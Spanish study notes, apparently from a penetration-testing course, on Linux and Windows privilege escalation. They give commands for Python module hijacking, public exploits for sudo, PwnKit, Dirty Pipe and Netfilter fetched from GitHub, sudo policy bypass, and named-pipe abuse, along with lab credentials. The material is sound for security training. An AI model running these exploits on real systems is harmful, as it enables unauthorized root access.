Para que el bit SUID realmente nos conceda privilegios elevados aquí, necesitaría estar configurado directamente en el propio ejecutable de Python (`/usr/bin/python3`)
3. Examinando el contenido del script:
![[Pasted image 20260921164828.png]]
Este script es bastante simple y solo muestra la memoria virtual disponible en porcentaje. También podemos ver en la segunda línea que importa el módulo psutil y utiliza la función virtual_memory().
- Buscamos la funcion en la carpeta psutil y comprobamos que el modilo tiene permisos de escritura
grep -r "def virtual_memory" /usr/local/lib/python3.8/dist-packages/psutil/*
ls -l /usr/local/lib/python3.8/dist-packages/psutil/__init__.py
![[Pasted image 20260921164934.png]]
- Miramos el contenido del modulo
![[Pasted image 20260921164953.png]]
- Introducimos nuestro codigo malicioso AL PRINCIPIO DE LA FUNCION:
![[Pasted image 20260921165043.png]]
- Ejecutamos el script y vemos como se ejecuta nuestro codigo como root
![[Pasted image 20260921165115.png]]
Ruta de busqueda de bibliotecas Python
En Python, cada versión tiene un orden específico en el que se buscan e importan las bibliotecas
El orden en que Python importa los módulos se basa en un sistema de prioridades, lo que significa que las rutas más altas en la lista tienen prioridad
Listado PYTHONPATH
python3 -c 'import sys; print("\n".join(sys.path))'
![[Pasted image 20260922103823.png]]
Para poder utilizar esta variante, son necesarios dos requisitos previos.
- El módulo que importa el script se encuentra en una de las rutas de menor prioridad listadas a través de la variable
PYTHONPATH.
- Debemos tener permisos de escritura en una de las rutas que tengan una prioridad más alta en la lista.
Ubicacion de instalacion predeterminada de Psutil
pip3 show psutil
![[Pasted image 20260922103938.png]]
psutil está instalado en la siguiente ruta: /usr/local/lib/python3.8/dist-packages
Del listado anterior deberemos mirar si alguna de las rutas anteriores tiene permisos de escritura
Permisos de directorio mal configurados
ls -la /usr/lib/python3.8
![[Pasted image 20260922104048.png]]
Parece que la ruta /usr/lib/python3.8 está mal configurada de tal manera que permite a cualquier usuario escribir en ella
Podemos ver que esta ruta está más arriba en la lista que la ruta en la que está instalado psutil
Creacion de nuestro modulo psutil
Creamos nuestro propio modulo de psutil que contenga nuestra propia funcion maliciosa virutal_memory() en el directorio /usr/lib/python3.8
Archivo psutil.py:
#!/usr/bin/env python3
import os
def virtual_memory():
os.system('id')
![[Pasted image 20260922104349.png]]
El nombre del archivo debe ser el mismo que el modulo importado y la funcion debe tener el mismo numero de argumentos que la original
Ejecucion de mem_status.py
sudo /usr/bin/python3 mem_status.py
![[Pasted image 20260922104525.png]]
Variable de entorno PYTHONPATH
Es una variable de entorno que indica en qué directorio (o directorios) Python puede buscar módulos para importar
Esto es importante, ya que si a un usuario se le permite manipular y establecer esta variable mientras ejecuta el binario de python, puede redirigir eficazmente la funcionalidad de búsqueda de Python a una ubicación definida por el usuario
- Verificacion de privs sudo:
sudo -l
![[Pasted image 20260922104733.png]]
Podemos ejecutar python3 con sudo y cambiar sus variables al estar configurado con SETENV:
- Escalada de privs mediante el secuestro de la variable PYTHONPATH
sudo PYTHONPATH=/tmp/ /usr/bin/python3 ./mem_status.py
![[Pasted image 20260922104955.png]]
Lo que hemos hecho es forzar a buscar los modulos importados en /tmp, si ahi tenemos un modulo malicioso que suplanta a uno que se importa en mem_status.py como psutil podremos escalar privs
Es similar a lo que hicimos en el apartado anterior
Ejemplo practico
Sigue los ejemplos de la seccion y trata de secuestrar librerias python para conseguir la flag en el /root
- Nos conectamos via ssh
![[Pasted image 20260922105430.png]]
- Vemos que hay un script python que importa psutil
![[Pasted image 20260922105445.png]]
- Al mirar nuestros privs vemos que podemos ejecutar este scritp como sudo sin creds
![[Pasted image 20260922105501.png]]
- Miramos donde esta alojado este modulo importado
![[Pasted image 20260922110945.png]]
- Buscamos archivos donde este escrita la funcion virtual_memory
![[Pasted image 20260922110300.png]]
- Editamos el archivo init
![[Pasted image 20260922110340.png]]
- Buscamos virtual_memory usando /virtual_memory en vim
![[Pasted image 20260922110557.png]]
- Modificamos el scritp para leer la flag, guardamos usando :wq!
![[Pasted image 20260922110700.png]]
- Ejecutamos usando sudo
![[Pasted image 20260922110814.png]]
CPTS
4. Post Explotacion / 1. Linux Priv Escalation / 7. 0 Days Recientes
1. Sudo
El archivo /etc/sudoers especifica qué usuarios o grupos tienen permiso para ejecutar programas específicos y con qué privilegios.
sudo cat /etc/sudoers | grep -v "#" | sed -r '/^\s*$/d'
![[Pasted image 20260922151635.png]]
Una de las vulnerabilidades más recientes para sudo lleva el CVE-2021-3156 y se basa en una vulnerabilidad de desbordamiento de búfer. Afecta a:
- 1.8.31 - Ubuntu 20.04
- 1.8.27 - Debian 10
- 1.9.2 - Fedora 33
- y otras
- Ver version sudo
sudo -V | head -n 1
![[Pasted image 20260922151722.png]]
- Prueba de Concepto (Proof-Of-Concept)
git clone https://github.com/blasty/CVE-2021-3156.git
cd CVE-2021-3156
make
![[Pasted image 20260922151808.png]]
- Miramos la version del SO
cat /etc/lsb-release
![[Pasted image 20260922152115.png]]
- Ejecutamos:
Al ejecutar el exploit, se nos puede mostrar una lista con todas las versiones de los sistemas operativos disponibles que pueden estar afectadas por esta vulnerabilidad
./sudo-hax-me-a-sandwich
![[Pasted image 20260922151844.png]]
- Especificamos la version del SO
./sudo-hax-me-a-sandwich 1
![[Pasted image 20260922152157.png]]
Evasion de politica de sudo (Sudo Policy Bypass)
Afectaba a todas las versiones inferiores a la 1.8.28. CVE-2019-14287:
- Tiene que permitir a un usuario ejecutar un comando como sudo especificado en /etc/sudoers
sudo -l
![[Pasted image 20260922152325.png]]
Sudo también permite que se ejecuten comandos con ID de usuario específicos, lo que ejecuta el comando con los privilegios del usuario que posee el ID especificado. El ID del usuario específico se puede leer en el archivo /etc/passwd
cat /etc/passwd | grep cry0l1t3
![[Pasted image 20260922152408.png]]
Por lo tanto, el ID para el usuario cry0l1t3 sería 1005. Si se introduce un ID negativo (-1) en sudo, esto da como resultado el procesamiento del ID 0, que solo posee el usuario root. Esto, por lo tanto, conducía a una shell de root inmediata.
sudo -u#-1 id
![[Pasted image 20260922152448.png]]
Ejemplo practico
Escala privs y sube la flag
- Miramos la version del sudo (es vuln a sudo policy bypass) y la del SO
![[Pasted image 20260922153824.png]]
- Miramos que binario podemos ejecutar
![[Pasted image 20260922154103.png]]
- Lo ejecutamos usnado un id negativo, damos control B y se nos abre una shell root
![[Pasted image 20260922154209.png]]![[Pasted image 20260922154218.png]]
![[Pasted image 20260922154339.png]]
CPTS
4. Post Explotacion / 1. Linux Priv Escalation / 7. 0 Days Recientes
2. Polkit
PolicyKit (polkit) es un servicio de autorización en sistemas operativos que permite que el software de usuario y los componentes del sistema se comuniquen entre sí si el software de usuario está autorizado para hacerlo
Para ver si el sw de usuario esta autorizado consultamos polkit
Polkit trabaja con dos grupos de archivos.
- Acciones/políticas (
/usr/share/polkit-1/actions)
- Reglas (
/usr/share/polkit-1/rules.d)
Polkit también tiene reglas de autoridad local que se pueden utilizar para establecer o eliminar permisos adicionales para usuarios y grupos. Las reglas personalizadas se pueden colocar en el directorio /etc/polkit-1/localauthority/50-local.d con la extensión de archivo .pkla
PolKit también viene con tres programas adicionales:
pkexec - ejecuta un programa con los derechos de otro usuario o con derechos de root
pkaction - se puede usar para mostrar acciones
pkcheck - se puede usar para verificar si un proceso está autorizado para una acción específica
Usaremos pkexec ya que tienen la misma tarea que sudo:
pkexec -u <user> <command>
pkexec -u root id
![[Pasted image 20260922155040.png]]
En la herramienta pkexec, se encontró la vulnerabilidad de corrupción de memoria con el identificador CVE-2021-4034, conocida también como Pwnkit
- Descargamos y compilamos el PoC:
git clone https://github.com/arthepsy/CVE-2021-4034.git
cd CVE-2021-4034
gcc cve-2021-4034-poc.c -o poc
- Lo ejecutamos:
./poc
![[Pasted image 20260922155154.png]]
Ejemplo practico
Escala privs y sube la flag
- Descargamos y pasamos el PoC al host objetivo
![[Pasted image 20260922155424.png]]
- Nos conectamos via ssh, compilamos el PoC y lo ejecutamos para recuperar la flag
![[Pasted image 20260922155432.png]]
CPTS
4. Post Explotacion / 1. Linux Priv Escalation / 7. 0 Days Recientes
3. Dirty Pipe
Una vulnerabilidad en el kernel de Linux, llamada Dirty Pipe (CVE-2022-0847), permite la escritura no autorizada en archivos del usuario root en Linux. Técnicamente, la vulnerabilidad es similar a la vulnerabilidad Dirty Cow
Todos los kernels desde la versión 5.8 hasta la 5.17 están afectados
Permite a un usuario escribir en archivos arbitrarios siempre que tenga acceso de lectura a dichos archivos
Por ejemplo, podríamos editar el archivo /etc/passwd y eliminar la solicitud de contraseña para el usuario root
- Descargamos el PoC
git clone https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits.git
cd CVE-2022-0847-DirtyPipe-Exploits
bash compile.sh
Tras compilar el código, tenemos dos exploits diferentes disponibles. La primera versión del exploit (exploit-1) modifica el archivo /etc/passwd y nos da una terminal con privilegios de root.
Con la ayuda de la segunda versión del exploit (exploit-2), podemos ejecutar binarios SUID con privilegios de root. Sin embargo, antes de poder hacerlo, primero necesitamos encontrar estos binarios SUID
- Verificamos la version del Kernel:
uname -r
![[Pasted image 20260922155906.png]]
- Explotamos al primera
./exploit-1
![[Pasted image 20260922155923.png]]
- Explotamos la segunda
- Necesitamos encontrar binarios SUID
find / -perm -4000 2>/dev/null
![[Pasted image 20260922160010.png]]
- Elegimos un binario y especificamos la ruta completa como argumento del exploit
./exploit-2 /usr/bin/sudo
![[Pasted image 20260922160041.png]]
Ejemplo practico
Escala privs y sube el contenido de flag.txt
- Descargamos y pasamos el PoC
![[Pasted image 20260922160317.png]]
- Nos conectamos, compilamos los exploits, miramos la version del kernel y explotamos para recuperar la flag
![[Pasted image 20260922160306.png]]
CPTS
4. Post Explotacion / 1. Linux Priv Escalation / 7. 0 Days Recientes
4. Netfilter
Netfilter es un módulo del kernel de Linux que proporciona filtrado de paquetes, traducción de direcciones de red y otras herramientas relevantes para los cortafuegos. Controla y regula el tráfico de red manipulando paquetes individuales según sus características y reglas
Es la capa sw del kernel
Funciones:
- Desfragmentación de paquetes
- Seguimiento de conexiones
- Traducción de direcciones de red (NAT)
Cuando el módulo se activa, todos los paquetes IP son revisados por Netfilter antes de ser reenviados a la aplicación de destino del sistema propio o remoto
CVE-2021-22555
Versiones del kernel vulnerables: 2.6 - 5.11
uname -r
![[Pasted image 20260923164449.png]]
wget https://raw.githubusercontent.com/google/security-research/master/pocs/linux/cve-2021-22555/exploit.c
gcc -m32 -static exploit.c -o exploit
./exploit
![[Pasted image 20260923164511.png]]
CVE-2022-25636
CVE-2022-25636: afecta al kernel de Linux desde la versión 5.4 hasta la 5.6.10
uname -r
![[Pasted image 20260923164601.png]]
Este exploit puede corromper el kernel
git clone https://github.com/Bonfee/CVE-2022-25636.git
cd CVE-2022-25636
make
./exploit
![[Pasted image 20260923164629.png]]
CVE-2023-32233
Explota los llamados conjuntos anónimos en nf_tables utilizando la vulnerabilidad Use-After-Free en el kernel de Linux hasta la versión 6.3.1
Estos nf_tables son espacios de trabajo temporales para procesar solicitudes por lotes y, una vez que el procesamiento ha terminado, se supone que estos conjuntos anónimos deben ser eliminados
La explotación se realiza manipulando el sistema para que utilice los conjuntos anónimos eliminados para interactuar con la memoria del kernel
git clone https://github.com/Liuk3r/CVE-2023-32233
cd CVE-2023-32233
gcc -Wall -o exploit exploit.c -lmnl -lnftnl
./exploit
![[Pasted image 20260923164758.png]]![[Pasted image 20260923164806.png]]
CPTS
4. Post Explotacion / 1. Linux Priv Escalation / 8. Hardening Linux
1. Fortalecimiento De Linux
Actualizaciones y parches
En Ubuntu, el paquete unattended-upgrades realiza actualizaciones periódicas eliminará algunas de las vulnerabilidades más evidentes
En los sistemas basados en Red Hat, el paquete yum-cron realiza una tarea similar
Gestion de la configuracion
Considerar la implementación de SELinux, que proporciona controles de acceso adicionales en el sistema.
Gestion de usuarios
Debemos limitar el número de cuentas de usuario y de administrador en cada sistema y asegurarnos de que los intentos de inicio de sesión (válidos/inválidos) se registren y se monitorice. También es una buena idea aplicar una política de contraseñas robusta, priorizar secretos memorizados…
Existen plantillas para herramientas de automatización de la gestión de la configuración como Puppet, SaltStack, Zabbix y Nagios para automatizar dichas comprobaciones, y se pueden utilizar para enviar mensajes a un canal de Slack o a un buzón de correo electrónico
Auditoria
Una herramienta útil para auditar sistemas basados en Unix (Linux, macOS, BDS, etc.) es Lynis. Esta herramienta audita la configuración actual de un sistema y proporciona consejos de fortalecimiento
./lynis audit system
![[Pasted image 20260923165315.png]]
El escaneo resultante se dividirá en advertencias:
![[Pasted image 20260923165332.png]]
Sugerencias:
![[Pasted image 20260923165344.png]]
y una sección general de detalles del escaneo:
![[Pasted image 20260923165359.png]]
La herramienta es útil para informar sobre las rutas de escalada de privilegios y para realizar una comprobación rápida de la configuración
CPTS
4. Post Explotacion / 1. Linux Priv Escalation / 9. Skill Assessment
1. Skill Assessment
El cliente nos ha proporcionado un usuario con privilegios bajos para evaluar la seguridad del servidor. Conéctate vía SSH y comienza a buscar configuraciones incorrectas y otras fallas
Una vez en el host, debemos encontrar five flags en el sistema, accesibles en varios niveles de privilegio. Escala privilegios desde el usuario htb-student hasta el usuario root y envía las cinco flags
-
Pasamos linpeash
![[Pasted image 20260923165914.png]]
-
Nos conectamos via ssh y ejecutamos
![[Pasted image 20260923165947.png]]![[Pasted image 20260923165956.png]]
- Vemos que es vuln a PwnKit
![[Pasted image 20260923171522.png]]
- Lo descargamos, pasamos y ejeuctamos para escalar privs. Obtenemos las flags
https://github.com/ly4k/PwnKit.git
![[Pasted image 20260923171848.png]]
![[Pasted image 20260923171859.png]]
![[Pasted image 20260923171910.png]]
CPTS
4. Post Explotacion / 2. Windows Priv Escalarion / 1. Introduccion
1. Introduccion
El objetivo es convertirnos o en Local Administrators o NT AUTHORITY\SYSTEM aunque habra escenarios en los que escalar a otro usuario sea suficiente
Razones por las que escalar de privilegios:
- Probar fallos de la compilacion de una imagen dorada del cliente
- Escalar privs localmente y obtener acceso a algun recurso local
- Obtener acceso a nivel de NT AUTHORITY\SYSTEM en una maquina unida al dominio para conseguir otro punto de apoyo en el AD
- Obtener credenciales para moverse lateralmente o escalar privs dentro de la red
Ejercicios
Nos conectaremos via RDP
Muchos modulos necesitan herramientas que se encontraran en C:\Tools
CPTS
4. Post Explotacion / 2. Windows Priv Escalarion / 1. Introduccion
2. Herramientas
| Herramienta |
Descripcion |
| Seatbelt |
Realiza comprobaciones locales de escalada de privs |
| winPEAS |
Script que busca posibles rutas de escalada |
| PowerUp |
Encuentra vectores comunes de escalada que se basan en malas configuraciones y se puede usar para explotar algunos |
| SharpUp |
Version C# de Powerup |
| JAWS |
Enumera vectores de escalada |
| SessionGopher |
Encuentra y descifra la informacion de sesion guradada para herramientas de acceso remoto |
| Watson |
Enumera KBs faltantes y sugiere exploits para vulns de escalada |
| LaZagne |
Recupera creds almacenadas en local, navegadores, herramientas de chat, BBDD… |
| Windows Exploit Suggester - Next Generation |
Basada en la salida de systeminfo que proporciona vulns |
| Sysinternals Suite |
Herramientas de sysinternals para la enumeracion:AccessChk, PipeList, y PsService |
|
|
Binarios independientes:
Si queremos transferir herramientas, un directorio donde debemos apostar que tenemos permisos de escritura es: C:\Temp
La mayoria seran detectadas por el EDR al ser bien conocidas
CPTS
4. Post Explotacion / 2. Windows Priv Escalarion / 2. Familiarizarse Con El Terreno
1. Conciencia Situacional
Es probable que el host en el que estemos sea dual-homed (tenga dos interfaces hacia 2 secciones de red)
- Debemos mirar la tabla de enrutamiento para ver la informacion sobre la red local y las redes de alrededor
- Informacion de la dominio local si pertenece a un AD y saber las IPs de los DC
- Mirar la cache ARP de cada interfaz y ver hosts con los que se ha comunicado recientemente
ipconfig /all
![[Pasted image 20260806175616.png]]![[Pasted image 20260806175625.png]]![[Pasted image 20260806175633.png]]
Tabla ARP
arp -a
![[Pasted image 20260806175651.png]]
Tabla de enrutamiento
route print
![[Pasted image 20260806175716.png]]![[Pasted image 20260806175726.png]]
Enrutamiento protecciones
Es probable que haya sistemas EDR conectados monitorizando la actividad y que si usamos alguna herramienta publica o exploit nos bloquee. Algunos bloquean hasta net.exe o tasklist
Muchas organizaciones tienen una lista blanca de aplicaciones para controlar los tipos de aplicaciones que se usan y bloquear el cmd o powershell entre otros.
Microsoft ofrece: AppLocker
Podemos usar en el cmdlet: GetAppLockerPolicy para enumerar las politicas del AppLocker
Comprobar el estado del Microsoft Defender
Get-MpComputerStatus
![[Pasted image 20260806180818.png]]
Listar reglas del AppLocker
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
![[Pasted image 20260806180923.png]]
Probar la politica de AppLocker
Get-AppLockerPolicy -Local | Teqst-AppLockerPolicy -path C:\Windows\System32\cmd.exe -User Everyone
![[Pasted image 20260806181033.png]]
Ejemplo practico
CREDENCIALES –> htb-student:HTB_@cademy_stdnt!
Cual es el IP addres del otro NIC adjuntado al host objetivo
Que ejecutable a parte de cmd esta bloqueado por AppLocker
- Nos conectamos via RDP
![[Pasted image 20260806181342.png]]
- Miramos las interfaces que tiene la maquina y vemos una interna hacia 172
![[Pasted image 20260806181428.png]]![[Pasted image 20260806181443.png]]
- Mirando la tabla arp vimos algunas conexiones hacia lo que parece ser el broadcast de 172
![[Pasted image 20260806181525.png]]
- Mirando las rutas pudimos encontrar ademas del gateway y el broadcast de la 172 una maquina
![[Pasted image 20260806181654.png]]
- Miramos las politicas de AppLocker y vimos un block a powershell_ise. Lo probamos y efectivamente esta bloqueado
![[Pasted image 20260806181815.png]]![[Pasted image 20260806181914.png]]
![[Pasted image 20260806182138.png]]
CPTS
4. Post Explotacion / 2. Windows Priv Escalarion / 2. Familiarizarse Con El Terreno
2. Enumeracion Inicial
Tipos de cuenta
| Tipo |
Explicacion |
| NT AUTHORITY\SYSTEM o LocalSystem |
Cuenta con mayores privilegios de forma local por encima de Administrador Local y se usa para ejecutar la mayoria de procesos en Windows |
| Administrator local |
Algunas empresas lo deshabilitan y se suele reutilizar en multiples sistemas |
| Miembros de Administrators |
Cualquier cuenta en este grupo tiene los mismos privs que Administrator Local |
| Usario estandar del dominio que pertenece a Adminsitrators |
|
| Domain Admin que forma parte de Administrators |
|
Puntos clave de la enumeracion
- Nombre del SO: tipo de SO y version (nos dara una idea de la version de ejecutables como PS)
- Version: para saber que exploits publicos puede ser vulns
- Servicios en ejecucion: especialmente los que ejecute NT Authority\System o una cuenta con nivel Administrator. Un servicio mal conf que sea ejecutado por una cuenta privilegiada puede ser una escalada facil
tasklist: ver los procesos que se estan ejecutando
tasklist /svc
![[Pasted image 20260806183646.png]]
Conocer servicios estandar como smss.exe, winlogon.exe, lsass o svchost.exe nos ayudara a centrarnos solo en los que no son estandar
En este ejemplo podriamos estar interesados en FileZilla (FTP) e intentariamos enumerar la version para buscar vulns publicas o configuraciones incorrectas
Otro proceso seria MsMpEng.exe (es el Windows Defender) nos ayudaran a mapear las protecciones que estan implementadas
Mostrar las variables del sistema
set
![[Pasted image 20260806184715.png]]
Una variable que debemos mirar es PATH. Es posible que haya sido modificada y contenga rutas hacia Python u otros. Si la carpeta a la que colocada es escribible por nosostros, podriamos realizar inyecciones DLL contra otras aplicaciones
Esto pasa porque si ejecutamos algo, Windows primero busca en el directorio actual y luego en el PATH de derecha a izquierda (cuanto mas a la izquierda esta nuestra ruta personalizada, mas peligroso es)
Otra variable es HOME DRIVE que suele ser un recurso compartido. Estos recursos pueden servir para dos cosas:
- Un recurso compartido con gente externa como un departamento IT
- Colocar los directorios personales para que cuando el usuario se conecte a otra maquina tenga los mimos archivos. Si pasa esto y colocamos un archivo malicioso en la ruta
USERPROFILE\AppData\Microsoft\Windows\Start Menu\Programs\Startup cuando inicie sesion en una maquina diferente se ejecutara el payload
sysinfo
![[Pasted image 20260806185156.png]]
Muestra si la maquina ha sido parcheada recientemente y si es una VM. Si no ha sido parcheada la escalada puede ser simplemente ejecutar un exploit
Para saber si ha sido parcheada debemos buscar los KBs en HotFixes o si la maquina no se ha reiniciado en meses es probable que tampoco este reiniciada
Parches y actualizaciones
Si sysinfo no muestra los hotfixed:
wmic qfe
![[Pasted image 20260806185244.png]]
O desde PS:
Get-HotFix | ft -AutoSize
![[Pasted image 20260806185315.png]]
Programas instalados
WMI tambien puede mostrar los programas instalados y buscar exploits a estas versiones
wmic product get name
![[Pasted image 20260806185537.png]]
O desde PS:
Get-WmiObject -Class Win32_Product | select Name,Version
![[Pasted image 20260806185630.png]]
Mostrar procesos en ejecucion
netstat mostrara las conexiones TCP/UDP activas lo que nos dara una mejor idea de que servicios estan escuchando y en que puertos. Podemos encontrar servicios vulns solo accesibles desde localhost
netstat -ano
Get-Process -Id PID
![[Pasted image 20260806185823.png]]
Usuarios con sesion iniciada
query user
![[Pasted image 20260806190346.png]]
En una operativa EVASIVA deberiamos tener cuidado para que no nos detecten si hay otros usuarios trabajando
Usuario actual
Primero hay que ver en que contexto de usuario estamos
echo %USERANME%
![[Pasted image 20260806190544.png]]
Privilegios de usuario actual
Debemos conocer nuestros privilegios ya que estos nos pueden ayudar en la escalada
whoami /priv
![[Pasted image 20260806190641.png]]
whoami /groups
![[Pasted image 20260806190729.png]]
Obtener todos los usuarios
net user
![[Pasted image 20260806190800.png]]
Conocer que otros usuarios estan en el sistema
Obtener todos los grupos
net localgroup
![[Pasted image 20260806190849.png]]
Saber que grupos no estandar estan presentes para determinar para que se usa el host
Detalles sobre un grupo
Vale la pena revisar los detalles de un grupo no estandar para ver alguna informacion interesante
net localgroup GRUPO
![[Pasted image 20260806191304.png]]
net accounts
![[Pasted image 20260806191337.png]]
Ejemplo practico
Que privilegio no estandar tiene el usuario actual
Cual es el miembro del grupo Backup Operators
Que servicio esta escuchando por el puerto 8080
Que usuario esta logueado en el host
Que tipo de sesion tipo este usuario logueado
- Miramos los servicios que estan corriendo y encontramos uno por el puerto 8080 con el PID 2152. Si miramos el proceso con ese PID encontramos el nombre del servicio
![[Pasted image 20260806191625.png]]![[Pasted image 20260806191759.png]]
- Miramos otros usuarios logueados y su tipo de sesion
![[Pasted image 20260806191827.png]]
- Miramos nuestros privilegios
![[Pasted image 20260806192013.png]]
- Miramos los grupos y miramos los usuarios de Backup Operators
![[Pasted image 20260806192130.png]]![[Pasted image 20260806192140.png]]
CPTS
4. Post Explotacion / 2. Windows Priv Escalarion / 2. Familiarizarse Con El Terreno
3. Comunicacion Con Procesos
Los procesos son uno los lugares para buscar para escalar privs incluso si no se estan ejecutando como Admin
EJEMPLO FRECUENTE: descubrimos un servicio web IIS, conseguimos una shell aspx en la maquina con contexto del usuario que ejecuta este servicio que no suele tener privs elevados pero suele tener un token SeImpersonte que puede usarse con Lonely Poteto para elevar los privs
Token de Acceso
En Windows, los tokens de acceso se utilizan para describir el contexto de seguridad de un proceso o hilo.
Este incluye informacion sobre la identidad y los privilegios de la cuenta de usuario relacionados con un proceso o hilo
Cuando nos autenticamos, se revisa en la BBDD la contraseña y si coincide nos daran un token de acceso y cada vez que interactuemos con un proceso se copia el token que determina nuestro nivel de privs
Enumerando servicios de red
netstat -ano
Get-Process -Id PID
![[Pasted image 20260806201950.png]]
Lo principal es mirar los que tengan direccion loopback o 127.0.0.1 ya que estos suelen ser mas inseguros que los que escuchan por la IP o broadcast que tienen acceso a la red
En este ejemplo 14147 se usa para la interfaz administrativa de FileZilla. Al conectarnos a este puerto podriamos extraer contraseñas FTP
Canalizaciones con nombre (Named Pipes)
Es una forma en la que los procesos se comunican entre si. Son esencialmente archivos almacenados en memoria que se borran despues de ser leidos
El flujo suele ser el siguiente:
- El proceso que ejecuta un comandos inica una canalizacion con nombre .\pipe\msagent_12
- El proceso inica un proceso e inyecta el comando en ese proceso dirigiendo la salida a .\pipe\msagent_12
- El servidor muestra la salida de .\pipe\msagent_12
Cobalt Strike hace esto con beacons (son los procesos que ejecutan comandos) porque el antivirus lo bloqueaba pudiendo enmascararse como otro programa
Mas sobre las canalizaciones con nombre
Las canalizaciones se utilizan para la comunicación entre dos aplicaciones o procesos utilizando memoria compartida. Hay dos tipos de canalizaciones, canalizaciones con nombre y canalizaciones anónimas (anonymous pipes)
Un ejemplo de una canalización con nombre es \\.\PipeName\\ExampleNamedPipeServer. Los sistemas Windows utilizan una implementación cliente-servidor para la comunicación por canalización. En este tipo de implementación, el proceso que crea una canalización con nombre es el servidor, y el proceso que se comunica con la canalización con nombre es el cliente
Cada conexión activa a un servidor de canalización con nombre da como resultado la creación de una nueva canalización con nombre. Todas estas comparten el mismo nombre de canalización pero se comunican utilizando un búfer de datos diferente.
Enumerar canalizaciones
PipeList:
pipelist.exe /acceptula
![[Pasted image 20260806203312.png]]
o
gci \\.\pipe\
![[Pasted image 20260806203342.png]]
Revisar los permisos de la canalizacion con nombre de LSASS
Despues de obtener un listado, podemos usar Accesschk para enumerar los permisos asignados a la canalizacion especifica revisando su DACL (Lista de Control de Acceso Discrecional) que nos muestra quien tiene los permisos para modificar, escribir, leer o ejecutar recursos
Si miramos por ejemplo la de LSASS
accesschk.exe /acceptula \\.\Pipe\lsass -v
![[Pasted image 20260806203622.png]]
De la salida anterior, podemos ver que solo los administradores tienen acceso completo al proceso LSASS
Ejemplo ataque canalizacion con nombre
Miramos con accesschk que canalizaciones se pueden escribir y leer
accesschk.exe -w \pipe\* -v
Encontramos que WindscribeService tiene acceso READ y WRITE al grupo Everyone y el servicio que escucha al named pipe se esta ejecutando como SYSTEM
accesschk.exe -accepteula -w \pipe\WindscribeService -v
![[Pasted image 20260806204310.png]]
Podemos aprovechar que Everyone puede conectarse a \\.\pipe\WindscribeService. Escribimos en el archivo algo como cmd.exe o si espera un comando especifico podriamos poner:
switch(comando){
case RUN_PROGRAM:
CreateProcess("C:\\Users\\Public\\evil.exe");
break;
}
Ejemplo practico
Que servicio corre por el 0.0.0.0:21
Que cuenta tiene privs de WRITE_DAC de \pipe\SQLLocal\SQLEXPRESS01
- Miramos los servicios en escucha y con el PID miramos el nombre del proceso
![[Pasted image 20260806210141.png]]
![[Pasted image 20260806210218.png]]
- Miramos los permisos de Write de \pipe\SQLLocal\SQLEXPRESS01 y solo uno tiene los de DAC
![[Pasted image 20260806210554.png]]
CPTS
4. Post Explotacion / 2. Windows Priv Escalarion / 3. Privilegios De Usuario Windows
1. Resumen De Privilegios Windows
Son derechos que se pueden conceder a una cuenta para que realice una variedad de operaciones
Los privs de usuarios y grupos se almacenan en una BBDD y se conceden a traves de tokens por kerberos al iniciar sesion
Una cuenta puede tener unos privilegios locales en un sistema y distintos privilegios en otros si pertenece a un dominio
Proceso de autorizacion Windows
Los security principals o Entidades de seguridad es cualquier cosa que pueda ser autenticada (usuarios, cuentas maquina…) y cada una se identifica con un SID
- Se intenta acceder a un objeto protegible
- Se mira el token de acceso del usuario (contiene SID del usuario, SID del grupo al que pertenece, lista de privs y mas info de acceso)
- Se compara con ACEs dentro del descriptor de seguridad del objeto (tiene info de seguridad de ese objeto)
- Se toma la decision de si tiene acceso o no
![[Pasted image 20260817151305.png]]
Derechos y privilegios Windows
| Grupo |
Descripcion |
| Default administrators |
super groups |
| Server Operators |
Pueden moficar serivicios, acceso de SMB Shares, backup files |
| Backup Operators |
Tienen permitido iniciar sesion en el DC localmente y deben ser considerados como Domain Admins. Pueden hacer copias de SAM/NTDS, leer registros remotamente… |
| Print Operators |
Miembros que se pueden loguear en el DC y engañar a Windows para que cargue controladores maliciosos |
| Hype-V Administrators |
Si hay DCs virtuales, estos deben ser considerados como Domain Admins |
| Account Operators |
Pueden modificar cuentas y grupos no protegidos del dominio |
| Remote Desktop Users |
Permiten el inicio de sesion a traves de servicios de escritorio remoto |
| Remote Management Users |
Pueden iniciar sesion en los DCs con PSRemoting |
| Group Policy Creator Owners |
Pueden crear GPOs pero necesitan que se les delegue permisos adicionales para vincular los GPOs a contenedores del dominio o OUs |
| Schema Admins |
Pueden modificar la estrucutara del esquema AD y crear una puerta trasera en cualquier grupo/GPO añadiendo una cuentra comprometida a la ACL del objeto |
| DNS Admins |
Pueden cargar una DLL en el DC pero no tienen permisos para reiniciar el servidor DNS, por lo que tienen que esperar al reinicio DNS para conseguir persistencia |
Derechos que se les puede establecer a los usuarios
- Para ver los privs asignados a nuestro usuario actual
whoami /priv
Habra algunos que no se veran en la lista sino ejecutamos el comando desde una shell elevada. Si lo hacemos veremos que los derechos totalmente diferentes
Privs local admin:
![[Pasted image 20260817152839.png]]
Si aparece como Disabled siginifica que lo tenemos asignado pero no podemos usarlo hasta que se habilite. Usando este script podemos activarlo:
Privs usuarios estandar:
![[Pasted image 20260817153050.png]]
Los derechos de un usuario aumentan segun los grupos en los que se colocan o sus privielegios asignados
Privs de un usuarios de Backup Operators:
![[Pasted image 20260817153209.png]]
CPTS
4. Post Explotacion / 2. Windows Priv Escalarion / 3. Privilegios De Usuario Windows
2. Seimpersonate Y Seassignprimarytoken
En Windows cada proceso que se ejecuta va con un token que contiene informacion sobre la cuenta que lo esta ejecutando
Los tokens no se consideran seguros porque se almacenan en memoria y podrian ser suceptibles a fuerza bruta por usuarios que no puedan leerla
El privilegios SeImpersonte permite usar tokens y se otorga solo a cuentas administrativas
Hay programas que usan este privilegio para escalar a Administrator y poder ejecutarse
Los ataques de estilo Potato se caracterizan por engañar a un proceso que usa SYSTEM para que se contecte a nuestro proceso al cual nos entrega el token para que lo use nuestro proceso
Ejemplo de SeImpersonate - JuicyPotato
Hemos obtenido acceso inicial a un servidor SQL usando un usuario SQL privilegiado. Las conexiones IIS y SQL Server pueden estar configuradas para usar autenticacion Windows y es posible que el usuario que se loguea necesite acceder a sus recursos. Este se consigue suplantando el usuario que inicia sesion y necesita SeImpersonate
La cuenta de servicio es mssqlserver, imagina que con ella conseguimos xp_cmdshell y conseguimos en el archivo logins.sql las siguientes credenciales usando Snaffler:
Nos conectamos al servidor y verificamos nuestros privs:
impacket-msqlclient USER@IP -windows-auth
>enable_xp_cmdshell
